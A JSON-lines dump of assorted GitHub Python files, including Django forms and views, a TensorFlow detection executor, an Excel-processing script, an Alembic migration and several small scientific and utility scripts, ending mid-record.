help=\"'training' or 'test' data are we processing\")\n parser.add_argument('--NX_matrix', default= pars.NX_pos_str, nargs='+', type=str, help=\"format 'rXcY' or None, X & Y are indices of row & column of NX_matrix that are set to 1 (0 <= Y <= 4), the other entries will be 0\")\n parser.add_argument('--pt1_inputs', default= pars.pt1_X, nargs='+', type=int, help=f\"default={pars.pt1_X}, pt1 of input channels, 1 if no filter\")\n parser.add_argument('--pt1_outputs', default= pars.pt1_Y, nargs='+', type=int, help=f\"default={pars.pt1_Y}, pt1 of output channels, 1 if no filter\")\n parser.add_argument('--data_dir', default= pars.raw_data_dir, type=str, help=f\"default={pars.raw_data_dir}, the folder where the input raw data are\")\n parser.add_argument('--used_measurement_training', default= pars.used_measurement_training, nargs='+', type=int, help=f\"default={pars.used_measurement_training}, indices of measurement we want use for training (default is just fine)\")\n parser.add_argument('--used_measurement_test', default= pars.used_measurement_test, nargs='+', type=int, help=f\"default={pars.used_measurement_test}, indices of measurement we want use for test (default is just fine)\")\n parser.add_argument('--filename_training', default= pars.filename_training, type=str, help=f\"default={pars.filename_training}, full path of processed training data\")\n parser.add_argument('--filename_test', default= pars.filename_test, type=str, help=f\"default={pars.filename_test}, full path of processed test data\")\n parser.add_argument('--save_processed_data', default=True, type=bool, help=\"default=True, whether we save the processed data or not\")\n \n args = parser.parse_args()\n \n mode = args.mode\n data_dir = args.data_dir\n \n used_measurement = args.used_measurement_training \\\n if mode == \"training\" else args.used_measurement_test\n save_processed_data = [args.save_processed_data, args.filename_training] \\\n if mode == \"training\" else [args.save_processed_data, args.filename_test]\n \n NX_matrix_inputs = args.NX_matrix\n pt1_inputs = np.array(args.pt1_inputs)\n pt1_outputs = np.array(args.pt1_outputs)\n \n Processed_data = main(NX_matrix_inputs, data_dir, used_measurement, save_processed_data, pt1_inputs, pt1_outputs)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"boschresearch/SALMOGP","sub_path":"0_load_csv_addNXstructures.py","file_name":"0_load_csv_addNXstructures.py","file_ext":"py","file_size_in_byte":5464,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"35143618542","text":"import datetime\n\nfrom django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom core.models import Department, Employee, Attendance\n\n\nclass EmployeeForm(forms.ModelForm):\n date_of_birth = forms.CharField(widget=forms.TextInput(attrs={\"type\": \"date\"}))\n joined_date = forms.CharField(widget=forms.TextInput(attrs={\"type\": \"date\"}))\n shift_start_time = forms.CharField(widget=forms.TextInput(attrs={\"type\": \"time\"}))\n\n class Meta:\n model = Employee\n fields = (\n \"first_name\",\n \"middle_name\",\n \"last_name\",\n \"phone\",\n \"email\",\n \"gender\",\n \"date_of_birth\",\n \"address_line1\",\n \"address_line2\",\n \"address_line3\",\n \"city\",\n \"state\",\n \"country\",\n \"department\",\n \"role\",\n \"joined_date\",\n \"hourly_pay\",\n \"daily_break_minutes\",\n \"shift_start_time\",\n )\n\n def __init__(self, *args, **kwargs):\n user = kwargs.pop(\"user\")\n kwargs.setdefault(\"label_suffix\", \"\")\n super().__init__(*args, **kwargs)\n self.fields[\"department\"] = forms.ModelChoiceField(\n queryset=Department.objects.filter(company=user.company)\n )\n self.fields[\"shift_start_time\"] = forms.CharField(\n widget=forms.TextInput(attrs={\"type\": \"time\"}),\n initial=user.company.shift_start_time,\n required=False,\n )\n for visible in self.visible_fields():\n visible.field.widget.attrs[\"class\"] = \"form-control form-control-user\"\n\n\nclass AttendanceForm(forms.ModelForm):\n class Meta:\n model = Attendance\n fields = \"__all__\"\n\n def clean(self):\n cleaned_data = super().clean()\n start = cleaned_data.get(\"start\")\n end = cleaned_data.get(\"end\")\n if start and end and start > end:\n raise ValidationError(\"Start time cannot be greater than end time.\")\n\n\nclass BillingFilterForm(forms.Form):\n MONTH_CHOICES = [\n (1, \"January\"),\n (2, \"February\"),\n (3, \"March\"),\n (4, \"April\"),\n (5, \"May\"),\n (6, \"June\"),\n (7, \"July\"),\n (8, \"August\"),\n (9, \"September\"),\n (10, \"October\"),\n (11, \"November\"),\n (12, \"December\"),\n ]\n month = forms.ChoiceField(\n choices=MONTH_CHOICES, required=True, initial=datetime.date.today().month\n )\n year = forms.IntegerField(\n min_value=2020,\n max_value=datetime.date.today().year,\n required=True,\n initial=datetime.date.today().year,\n )\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for visible in self.visible_fields():\n visible.field.widget.attrs[\"class\"] = \"form-control form-control-user\"\n","repo_name":"chittalpatel/presentpay","sub_path":"core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33649237539","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl import logging\n\nimport tensorflow as tf, tf_keras\nfrom official.legacy.detection.executor import distributed_executor as executor\nfrom official.vision.utils.object_detection import visualization_utils\n\n\nclass DetectionDistributedExecutor(executor.DistributedExecutor):\n \"\"\"Detection specific customer training loop executor.\n\n Subclasses the DistributedExecutor and adds support for numpy based metrics.\n \"\"\"\n\n def __init__(self,\n predict_post_process_fn=None,\n trainable_variables_filter=None,\n **kwargs):\n super(DetectionDistributedExecutor, self).__init__(**kwargs)\n if predict_post_process_fn:\n assert callable(predict_post_process_fn)\n if trainable_variables_filter:\n assert callable(trainable_variables_filter)\n self._predict_post_process_fn = predict_post_process_fn\n self._trainable_variables_filter = trainable_variables_filter\n self.eval_steps = tf.Variable(\n 0,\n trainable=False,\n dtype=tf.int32,\n synchronization=tf.VariableSynchronization.ON_READ,\n aggregation=tf.VariableAggregation.ONLY_FIRST_REPLICA,\n shape=[])\n\n def _create_replicated_step(self,\n strategy,\n model,\n loss_fn,\n optimizer,\n metric=None):\n trainable_variables = model.trainable_variables\n if self._trainable_variables_filter:\n trainable_variables = self._trainable_variables_filter(\n trainable_variables)\n logging.info('Filter trainable variables from %d to %d',\n len(model.trainable_variables), len(trainable_variables))\n update_state_fn = lambda labels, outputs: None\n if isinstance(metric, tf_keras.metrics.Metric):\n update_state_fn = metric.update_state\n else:\n logging.error('Detection: train metric is not an instance of '\n 'tf_keras.metrics.Metric.')\n\n def _replicated_step(inputs):\n \"\"\"Replicated training step.\"\"\"\n inputs, labels = inputs\n\n with tf.GradientTape() as tape:\n outputs = model(inputs, training=True)\n all_losses = loss_fn(labels, outputs)\n losses = {}\n for k, v in all_losses.items():\n losses[k] = tf.reduce_mean(v)\n per_replica_loss = losses['total_loss'] / strategy.num_replicas_in_sync\n update_state_fn(labels, outputs)\n\n grads = tape.gradient(per_replica_loss, trainable_variables)\n clipped_grads, _ = tf.clip_by_global_norm(grads, clip_norm=1.0)\n optimizer.apply_gradients(zip(clipped_grads, trainable_variables))\n return losses\n\n return _replicated_step\n\n def _create_test_step(self, strategy, model, metric):\n \"\"\"Creates a distributed test step.\"\"\"\n\n @tf.function\n def test_step(iterator, eval_steps):\n \"\"\"Calculates evaluation metrics on distributed devices.\"\"\"\n\n def _test_step_fn(inputs, eval_steps):\n \"\"\"Replicated accuracy calculation.\"\"\"\n inputs, labels = inputs\n model_outputs = model(inputs, training=False)\n if self._predict_post_process_fn:\n labels, prediction_outputs = self._predict_post_process_fn(\n labels, model_outputs)\n num_remaining_visualizations = (\n self._params.eval.num_images_to_visualize - eval_steps)\n # If there are remaining number of visualizations that needs to be\n # done, add next batch outputs for visualization.\n #\n # TODO(hongjunchoi): Once dynamic slicing is supported on TPU, only\n # write correct slice of outputs to summary file.\n if num_remaining_visualizations > 0:\n visualization_utils.visualize_images_with_bounding_boxes(\n inputs, prediction_outputs['detection_boxes'],\n self.global_train_step, self.eval_summary_writer)\n\n return labels, prediction_outputs\n\n labels, outputs = strategy.run(\n _test_step_fn, args=(\n next(iterator),\n eval_steps,\n ))\n outputs = tf.nest.map_structure(strategy.experimental_local_results,\n outputs)\n labels = tf.nest.map_structure(strategy.experimental_local_results,\n labels)\n\n eval_steps.assign_add(self._params.eval.batch_size)\n return labels, outputs\n\n return test_step\n\n def _run_evaluation(self, test_step, current_training_step, metric,\n test_iterator):\n \"\"\"Runs validation steps and aggregate metrics.\"\"\"\n self.eval_steps.assign(0)\n if not test_iterator or not metric:\n logging.warning(\n 'Both test_iterator (%s) and metrics (%s) must not be None.',\n test_iterator, metric)\n return None\n logging.info('Running evaluation after step: %s.', current_training_step)\n while True:\n try:\n labels, outputs = test_step(test_iterator, self.eval_steps)\n if metric:\n metric.update_state(labels, outputs)\n except (StopIteration, tf.errors.OutOfRangeError):\n break\n\n metric_result = metric.result()\n if isinstance(metric, tf_keras.metrics.Metric):\n metric_result = tf.nest.map_structure(lambda x: x.numpy().astype(float),\n metric_result)\n logging.info('Step: [%d] Validation metric = %s', current_training_step,\n metric_result)\n return metric_result\n","repo_name":"tensorflow/models","sub_path":"official/legacy/detection/executor/detection_executor.py","file_name":"detection_executor.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","stars":76227,"dataset":"github-code","pt":"29"} +{"seq_id":"41380816793","text":"import random\nfrom time import sleep\n\n\ndef looper():\n for num in range(5):\n random_sleep = random.randint(1, 5)\n print(num)\n print(f'Sleeping for {random_sleep} second(s)')\n sleep(2)\n\n\ndef main():\n looper()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"pandabearcoder/kaizend-session-five","sub_path":"randomize/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70134829200","text":"from django.shortcuts import render, redirect \nfrom django.views.generic.base import TemplateView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpRequest, HttpResponse\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.urls import reverse_lazy\nfrom django.views import generic\nfrom .models import Post, Challenge, Category, Solving, UserProfile\nfrom django.contrib.auth.models import User\nfrom .forms import RegisterForm, PostForm, UserProfileForm, SolvingForm\nimport datetime, math\n\nfrom django import template\nregister = template.Library()\n\n\ndef index(request: HttpRequest) -> HttpResponse:\n return render(request, '../website/index.html', {})\n\nclass SignUpView(generic.CreateView):\n form_class = RegisterForm\n success_url = reverse_lazy('login')\n template_name = 'accounts/signup.html'\n\nclass ProfileView(LoginRequiredMixin, TemplateView):\n template_name = \"accounts/profile.html\" \n\n def get(self, request, *args, **kwargs):\n username = None\n if request.user.is_authenticated:\n username = request.user.profile\n challenges = Solving.objects.filter(solved_by=username).order_by('challenge__category__name', '-is_solved','challenge__id')\n category_list = Category.objects.all()\n znalosti_img='images/avatar/zn_'+str(Solving.objects.filter(is_solved=True,solved_by=username,challenge__category__name=\"Znalosti\").count())+'.png'\n schopnosti_img='images/avatar/sc_'+str(Solving.objects.filter(is_solved=True,solved_by=username,challenge__category__name=\"Schopnosti\").count())+'.png'\n pratelstvi_img='images/avatar/pr_'+str(Solving.objects.filter(is_solved=True,solved_by=username,challenge__category__name=\"Přátelství\").count())+'.png'\n my_record = UserProfile.objects.get(user=request.user)\n form = UserProfileForm(instance=my_record)\n context = {\n 'challenges': challenges,\n 'category_list': category_list,\n 'pratelstvi_img':pratelstvi_img,\n 'schopnosti_img':schopnosti_img,\n 'znalosti_img':znalosti_img,\n 'form':form\n }\n return render(request, self.template_name, context)\n \n def post(self, request):\n profil = UserProfile.objects.get(user=request.user)\n form = UserProfileForm(request.POST, instance=profil)\n if form.is_valid():\n profil.save()\n\n bio = form.cleaned_data['bio']\n return redirect(self.template_name)\n \n args = {'form':form,'bio':bio}\n return render(request, self.template_name, args)\n\nclass ChallengesView(LoginRequiredMixin, TemplateView):\n template_name = \"accounts/challenges.html\"\n\n def get(self, request, *args, **kwargs):\n \n form = SolvingForm()\n if request.user.is_authenticated:\n username = request.user.profile\n time = datetime.datetime.now()\n week = int(time.strftime(\"%V\"))\n challenge_list = Challenge.objects.none()\n category_list = Category.objects.all()\n solved_list = Solving.objects.filter(is_solved=True,solved_by=username)\n i = 0\n while i < Category.objects.all().count():\n in_category = Challenge.objects.filter(category=category_list[i].id)\n in_category_count = Challenge.objects.filter(category=category_list[i].id).count()\n challenge = int((week / in_category_count - math.floor(week / in_category_count))*in_category_count)\n challenge_id = in_category[challenge].id\n challenge_list |= Challenge.objects.filter(id=challenge_id)\n i = i + 1\n context = {\n 'challenge_list':challenge_list,\n 'category_list':category_list,\n 'solved_list':solved_list,\n 'form':form\n }\n return render(request, self.template_name, context)\n\n def post(self, request):\n form = SolvingForm(request.POST)\n if form.is_valid():\n\n solving = form.save(commit=False)\n solving.solved_by = request.user.profile\n solving.challenge = Challenge.objects.get(pk=form.cleaned_data['challenge'])\n solving.save()\n\n return redirect(self.template_name)\n \n args = {'form':form}\n return render(request, self.template_name, args)\n\nclass ForumView(LoginRequiredMixin, TemplateView):\n template_name = \"accounts/forum.html\" \n\n def get(self, request, *args, **kwargs):\n form = PostForm()\n posts = Post.objects.all()\n context = {\n 'post_list': posts,\n 'form':form,\n }\n return render(request, self.template_name, context)\n\n def post(self, request):\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user.profile\n post.save()\n\n text = form.cleaned_data['post']\n form = PostForm()\n return redirect(self.template_name)\n \n args = {'form':form,'text':text}\n return render(request, self.template_name, args)\n","repo_name":"Darfreed/onlineskauting","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15356871788","text":"from django.shortcuts import render\nfrom django.views.decorators.http import require_POST\nfrom django.http import HttpResponse\nimport json\nfrom pytz import timezone, utc\nimport datetime\nfrom .models import Vegit\n# Create your views here.\ndef vegit(request):\n vegitable = Vegit.objects\n return render(request,'vegit.html',{\"vegit\":vegitable})\n\n@require_POST\ndef vegitAjax(request):\n vegit_start = int(request.POST[\"vegit_start\"])\n vegit_end = int(request.POST[\"vegit_end\"])\n if vegit_start > vegit_end:\n context = {\"error\" : \"시작 날짜가 끝 날짜보다 큽니다.\",\"time\":\"\"}\n return HttpResponse(json.dumps(context),content_type=\"application/json\")\n elif vegit_start == vegit_end:\n context = {\"error\" : \"시작 날짜와 끝 날짜가 같습니다.\",\"time\":\"\"}\n return HttpResponse(json.dumps(context), content_type=\"application/json\")\n else:\n v_model_start = Vegit.objects.all().filter(id=vegit_start)\n v_model_end = Vegit.objects.all().filter(id=vegit_end)\n start_data = v_model_start[0].vegit_pred\n end_data = v_model_end[0].vegit_pred\n result = float(start_data) - float(end_data)\n # 기준\n context = {\"time\":result,\"error\":\"\",\"color\":\"blue\"}\n return HttpResponse(json.dumps(context), content_type=\"application/json\")","repo_name":"puppy9207/hyun","sub_path":"vegit/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"4190964237","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib import messages\nfrom django.db.models import Count\n\nfrom .models import Event, Application\n\n@login_required(login_url='login')\ndef create_event(request):\n user = request.user\n if request.method == 'POST':\n name = request.POST['name']\n date = request.POST['date']\n time = request.POST['time']\n location = request.POST['location']\n price = request.POST.get('price',0)\n cover = request.FILES.get('cover')\n organizer = request.POST['organizer']\n phone_number = request.POST['phone_number']\n description = request.POST['description']\n print(name,date,time,location,price,cover,organizer,phone_number,description)\n event = Event.objects.create(name=name,date=date,time=time,location=location,phone_number=phone_number,price=price,organizer=organizer,cover=cover,description=description,user=user)\n return redirect(event.get_absolute_url)\n return render(request,'events/create.html')\n\ndef event_list(request):\n events = Event.objects.all()\n\n if request.method == 'GET':\n search_query = request.GET.get('search',None)\n if search_query:\n events = events.filter(name__icontains=search_query)\n\n # Number of items to display per page\n items_per_page = 12\n \n paginator = Paginator(events, items_per_page)\n \n # Get the current page number from the request's GET parameters\n page = request.GET.get('page')\n \n try:\n # Get the page with the requested number\n items = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, show the first page\n items = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), show the last page of results\n items = paginator.page(paginator.num_pages)\n \n return render(request, 'events/list.html', {'events': items,})\n\ndef event_detail(request,pk):\n event = get_object_or_404(Event.objects.all(),pk=pk)\n other_events = Event.objects.all().exclude(pk=event.pk)[:4]\n return render(request,'events/detail.html',{'event':event,'other_events':other_events})\n\ndef edit_event(request,pk):\n event = get_object_or_404(Event.objects.all(),pk=pk)\n user = request.user\n\n if user != event.user:\n return redirect(\"events-list\")\n \n applications = event.applications.all()\n total = applications.count()\n\n if request.method == 'POST':\n name = request.POST['name']\n date = request.POST['date']\n time = request.POST['time']\n location = request.POST['location']\n price = request.POST.get('price',0)\n cover = request.FILES.get('cover',None)\n organizer = request.POST['organizer']\n phone_number = request.POST['phone_number']\n description = request.POST['description']\n\n event.name = name\n event.date = date\n event.time = time\n event.location = location\n event.price = price\n event.organizer = organizer\n event.phone_number = phone_number\n event.description = description\n if cover:\n event.cover = cover\n event.save()\n messages.success(request,\"Event updated successfully.\")\n return redirect(event.get_absolute_url)\n \n context = {\n \"event\":event,\n \"applications\":applications,\n \"total\":total\n }\n return render(request,'events/edit.html',context=context)\n \n\ndef delete_event(request,pk):\n event = get_object_or_404(Event.objects.all(),pk=pk)\n if request.user == event.user:\n event.delete()\n messages.success(request,\"Event deleted successfully.\")\n return redirect('my-events')\n return render(request,'events/create.html')\n\n@login_required(login_url='login')\ndef register_event(request,pk):\n event = get_object_or_404(Event.objects.all(),pk=pk)\n if request.method == \"POST\":\n full_name = request.POST.get('full_name',None)\n email = request.POST.get('email',None)\n phone_number = request.POST.get('phone_number',None)\n address = request.POST.get('address',None)\n\n try:\n Application.objects.create(\n event=event,\n full_name=full_name,\n email=email,\n phone_number=phone_number,\n address=address,\n user=request.user\n )\n messages.success(request,\"Successfully registered to event.\")\n return redirect(event.get_absolute_url)\n except Exception as e:\n print(e)\n messages.error(request,\"An error occoured.\")\n return redirect(event.get_absolute_url)\n return render(request,'events/detail.html',{'event':event,})\n\n\n@login_required(login_url='login')\ndef my_events(request):\n user = request.user\n events = Event.objects.filter(user=user)\n context = {\n \"events\":events\n }\n return render(request,'events/my_events.html',context=context)\n\n@login_required(login_url='login')\ndef my_registrations(request):\n user = request.user\n applications = Application.objects.filter(user=user)\n total = applications.count()\n context = {\n \"applications\":applications,\n \"total\":total,\n }\n return render(request,'events/my_registrations.html',context=context)","repo_name":"Ruzzan/event-management","sub_path":"events/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22288808017","text":"from tools import log_message\nfrom openpyxl.utils import get_column_letter\nfrom openpyxl.styles import NamedStyle\n\ndef get_or_create_money_style(workbook):\n money_style_name = 'money'\n \n # Check if the 'money' style already exists\n for style in workbook._named_styles:\n if style.name == money_style_name:\n return style\n\n # If it does not exist, create and add the style 'money'.\n money_style = NamedStyle(name=money_style_name, number_format='\"$\"#,##0.00')\n workbook.add_named_style(money_style)\n \n return money_style\n\ndef process_magnament(sheet):\n target_sheets = {\"Comp Management\", \"Guarapo\"}\n if sheet.title in target_sheets:\n last_row= sheet.max_row\n \n money_style = get_or_create_money_style(sheet.parent)\n \n for row in range (2, last_row +1):\n Q = get_column_letter(sheet['Q'][0].column)\n S = get_column_letter(sheet['S'][0].column)\n N = get_column_letter(sheet['N'][0].column)\n O = get_column_letter(sheet['O'][0].column)\n L = get_column_letter(sheet['L'][0].column)\n U = get_column_letter(sheet['U'][0].column)\n W = get_column_letter(sheet['W'][0].column)\n H = get_column_letter(sheet['H'][0].column)\n X = get_column_letter(sheet['X'][0].column)\n Z = get_column_letter(sheet['Z'][0].column)\n \n \n # Calculate Non cash out benefits\n sheet[f'T{row}'].value = f'={S}{row}'\n sheet[f'T{row}'].style = money_style\n \n # Designated Cash out benefits \n sheet[f'U{row}'].value = f'={N}{row}+{O}{row}+{L}{row}+{Q}{row}'\n sheet[f'U{row}'].style = money_style\n \n # On goin \n sheet[f'W{row}'].value = f'={U}{row}'\n sheet[f'W{row}'].style = money_style\n\n # Sub Total\n sheet[f'X{row}'].value = f'={W}{row}+{H}{row}'\n sheet[f'X{row}'].style = money_style\n \n # Total \n sheet[f'AA{row}'].value = f'={X}{row}+ {Z}{row}'\n sheet[f'AA{row}'].style = money_style \n\n \n return sheet\n \n return sheet\n\ndef main(workbook, progress_bar):\n \n for sheet in workbook:\n process_magnament(sheet)\n \n if progress_bar is not None:\n progress_bar.progress(1.0 / len(sheet.parent.sheetnames)) \n\n return workbook\n","repo_name":"Audreylopez22/streamlit","sub_path":"rules/H_ process_magnament.py","file_name":"H_ process_magnament.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12851760705","text":"from config import options\nimport kankaapi\n\ndef Parse(worldData=None):\n if not options[\"entities.biomes\"]:\n return\n if worldData == None:\n print('No world data.')\n if worldData[\"map\"] == None:\n print('No map loaded.')\n\n print(f'Parsing Biomes')\n worldData[\"biome_data\"] = {}\n biomes = worldData[\"map\"][\"biomesData\"]\n for biomeId in biomes[\"i\"]:\n print(f' Parsing {biomes[\"name\"][biomeId]}')\n note = {\n \"name\" : biomes[\"name\"][biomeId],\n \"entry\": \"\\n<p>Lorem Ipsum.</p>\\n\",\n \"is_private\": False,\n \"type\": \"Biome\"\n }\n response = kankaapi.create('notes', note)\n worldData[\"biome_data\"][biomeId] = {\n \"note_id\" : response[\"data\"][\"id\"],\n \"entity_id\" : response[\"data\"][\"entity_id\"],\n }","repo_name":"JamesHurburgh/kanka-world-builder","sub_path":"e_biomes.py","file_name":"e_biomes.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23910678951","text":"\"\"\"First Migration\n\nRevision ID: 4bc460dbed2f\nRevises: \nCreate Date: 2023-04-09 06:05:31.979748\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '4bc460dbed2f'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('movie',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(), nullable=True),\n sa.Column('director', sa.String(), nullable=True),\n sa.Column('genre', sa.String(), nullable=True),\n sa.Column('year', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_movie_id'), 'movie', ['id'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_movie_id'), table_name='movie')\n op.drop_table('movie')\n # ### end Alembic commands ###\n","repo_name":"sayonarasantos/conhecendo-o-docker","sub_path":"at-03-configure-compose/movie-api/alembic/versions/4bc460dbed2f_first_migration.py","file_name":"4bc460dbed2f_first_migration.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"6794787397","text":"pos = -1\ndef linear(list,num):\n i = 0\n\n while i < len(list):\n if list[i] == num:\n globals()['pos'] = i\n print(\"value found at: \",i+1)\n return True\n i = i+1\nlist = [2,5,9,3,6,7]\nnum = 7\nif linear(list,num):\n print(\"Thank you\",pos+1)\nelse:\n print(\"Not found\")","repo_name":"pratikgon96/Python_Learnings","sub_path":"linear_searech.py","file_name":"linear_searech.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25722592941","text":"#Ejemplo de un Autómata Finito Determinito\nestados = {0, 1} #Estados del autómata\nalfabeto = {'a','b'} #Alfabeto de nuestro autómata\n\nFuncion_Transicion = { #Función que realizará las transiciones\n (0, 'a'): 1,\n (0, 'b'): 1,\n (1, 'a'): 0,\n (1, 'b'): 0,\n}\n\nestado_Inicial = 0 #Estado inicial\nestado_Aceptado = {1} #Estado aceptado\n\n#Pruebas para obtener resultados correctos o incorrectos\nPalabra = list('aba') #Palabra aceptada (ejemplo)\n#Palabra = list('baba') #Palabra rechazada (ejemplo)\n\n#Inicio de algoritmo que recorrera nuestra palabra para ver si esta será aceptada o rechazada\nestado_Actual = estado_Inicial\nfor i in Palabra:\n if (estado_Actual, i) not in Funcion_Transicion.keys():\n print('Error al pasar a otro estado')\n break\n estado_Actual = Funcion_Transicion[(estado_Actual, i)]\nif estado_Actual in estado_Aceptado:\n print('Aceptado\\nEstado final:', estado_Actual)\nelse:\n print('Rechazado\\nEstado final:', estado_Actual)","repo_name":"Carlosmarroquin20/AFD_ProyectoFinal","sub_path":"Main_DFA.py","file_name":"Main_DFA.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38887633169","text":"from pylab import *\n\ndef log_likelihood(params, xx):\n\tmu, sigma = params[0], params[1]\n\tlogL = 0.\n\tfor x in xx:\n\t\tf = 1./(sigma*sqrt(2.*pi))*exp(-0.5*((x - mu)/sigma)**2)\n\t\tlogL += log(mean(f))\n\treturn logL\n\n# Load all of the posterior samples\nxx = []\nfor i in xrange(0, 100):\n\tposterior_sample = loadtxt(str(i) + '.txt', usecols=[0])\n\txx.append(log10(posterior_sample/10.))\n\nnum = 512\nmu = linspace(-2., 2., num)\nsigma = linspace(0.05, 1., num)\n[mu, sigma] = meshgrid(mu, sigma)\nsigma = sigma[::-1, :]\n\nlogL = zeros(mu.shape)\nfor i in xrange(0, logL.shape[0]):\n\tfor j in xrange(0, logL.shape[1]):\n\t\tlogL[i, j] = log_likelihood([mu[i, j], sigma[i, j]], xx)\n\tprint(i)\n\nrc(\"font\", size=16, family=\"serif\", serif=\"Computer Sans\")\nrc(\"text\", usetex=True)\n\npost = exp(logL - logL.max())\npost = post/post.sum()\nimshow(-post, aspect=4./0.99, extent=[-2, 2, 0.05, 1], cmap='gray')\nhold(True)\nplot(0.867, 0.157, 'w*', markersize=10)\nylim(0.05)\nxlabel('$\\\\mu$')\nylabel('$\\\\sigma$')\nsavefig('posterior.pdf', bbox_inches='tight')\nshow()\n\nfigure(figsize=(10, 8))\n# Compute marginal posterior for mu\n# and predictive distribution for a new tau\np = post.sum(axis=0)\np /= trapz(p, x=mu[0, :])\nplot(mu[0, :], p, 'b', linewidth=2, label='Posterior distribution for $\\\\mu$')\n\nm1 = trapz(p*mu[0, :], x=mu[0, :])\nm2 = trapz(p*mu[0, :]**2, x=mu[0, :])\nprint(m1, sqrt(m2 - m1**2))\n\npredictive = zeros(mu[0, :].shape)\nfor i in xrange(0, post.shape[0]):\n\tfor j in xrange(0, post.shape[1]):\n\t\tpredictive += post[i, j]/(sigma[i, j]*sqrt(2.*pi))*exp(-0.5*((mu[0, :] - mu[i, j])/sigma[i, j])**2)\n\nplot(mu[0, :], predictive, 'r--', linewidth=2, label='Predictive distribution for new $\\\\bar{\\\\tau}$')\nxlim([-2, 2])\nlegend(loc = 'upper left')\nylabel('Probability Density', fontsize=18)\nxlabel('$\\\\mu$, log$_{10}(\\\\bar{\\\\tau}/(\\\\textnormal{1 day}))$', fontsize=20)\nsavefig('posterior2.pdf', bbox_inches='tight')\n\n\nm1 = trapz(predictive*mu[0, :], x=mu[0, :])\nm2 = trapz(predictive*mu[0, :]**2, x=mu[0, :])\nprint(m1, sqrt(m2 - m1**2))\n\n\nshow()\n\n","repo_name":"eggplantbren/RMHB","sub_path":"Code/Results/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18731363714","text":"import phrase_weights\nimport phrase_clustering\nimport event_similarity\nimport sys\nimport glob\nimport pickle\nimport os\nfrom pprint import pprint\nfrom tqdm import tqdm\n\ndef weighted_cluster_frequency():\n\treturn\n\ndef candidate_weights(candidates, weights):\n\t'''\n\treturns a candidate map\n\t'''\n\tcandidate_map = {}\n\tfor e in candidates:\n\t\tcandidate_map[e] = {}\n\t\tfor phrase in candidates[e]:\n\t\t\tcandidate_map[e][phrase] = weights[phrase]\n\n\treturn candidate_map\n\ndef main():\n\tfolder = sys.argv[1] #tweetFolder\n\tphrase_folder = \"src/topmine/\"+folder +'output/'\n\tgraph_folder = \"src/graphs/\"+folder\n\tos.makedirs(\"src/event_candidates/\" + folder, exist_ok=True)\n\tphrase_files = sorted(glob.glob(phrase_folder + \"*frequent_phrases.txt\")) #files separated by date time they were collected\n\tgraph_files = sorted(glob.glob(graph_folder + \"*\")) #files separated by date time they were collected\n\n\t#not all tweet files has a graph file.\n\t# datetime_to_timestep = {}\n\ttimestep_to_datetime = {}\n\ttimestep_to_phrase_file = {}\n\tfor t, f in enumerate(phrase_files):\n\t\ttimestep = t\n\t\tdatetime = f.split('/')[-1][:19] #get datetime\n\t\ttimestep_to_datetime[timestep] = datetime\n\t\ttimestep_to_phrase_file[timestep] = f\n\ttimesteps = {}\n\n\t# at the end of this for loop, we have the finalized event candidates after merging events.\n\tfor t in tqdm(range(0, len(timestep_to_datetime))):\n\t\tif t+1 == len(timestep_to_datetime):\n\t\t\t# print(\"quitting\", t+1, 